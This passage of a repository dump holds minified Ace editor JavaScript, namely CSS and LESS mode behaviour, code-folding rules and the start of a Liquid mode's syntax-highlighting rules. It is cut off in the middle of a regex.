s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/less\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/less_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./less_highlight_rules\").LessHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/css\").CssBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/less\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-liquid.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, 